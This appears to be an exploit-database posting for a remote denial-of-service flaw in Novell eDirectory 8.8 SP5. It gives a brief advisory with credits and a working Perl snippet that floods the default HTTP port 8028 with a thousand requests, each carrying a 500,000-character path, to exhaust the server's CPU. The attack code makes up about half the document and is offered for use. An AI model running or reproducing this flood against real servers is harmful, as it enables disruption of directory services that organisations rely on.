Novell eDirectory 8.8 SP5 Remote Denial of Service Exploit

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Novell eDirectory 8.8 SP5 Remote Denial of Service Exploit
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Affected Software:
Novell eDirectory 8.8 SP5

Vulnerability Description:
Novell eDirectory 8.8 SP5 is vulnerable to a denial of service attack.
If a remote attacker sends Unicode strings with Http Request to "8028 port" 
("8028" is the default port of Novell eDirectory Dhost Http Server), 
the attacker can cause the system to consume %100 of the CPU resources.

Discovered by:
karak0rsan, Hellcode Research

Original Advisory: 
http://tcc.hellcode.net/advisories/hellcode-adv003.txt

Exploit:

	- snip-
....

$data = "?" x 500000;

for($i= 0; $i < 1000; $i++)
{
	$sock= new IO::Socket::INET( PeerAddr => "localhost",
	PeerPort => 8028,

	Proto => 'tcp',
	Type => SOCK_STREAM, 

	);
	
	print $sock "GET /$data HTTP/1.0\r\n\r\n";
	
	close($sock);
}

...
	- snip -



#  0day.today [2018-04-14]  #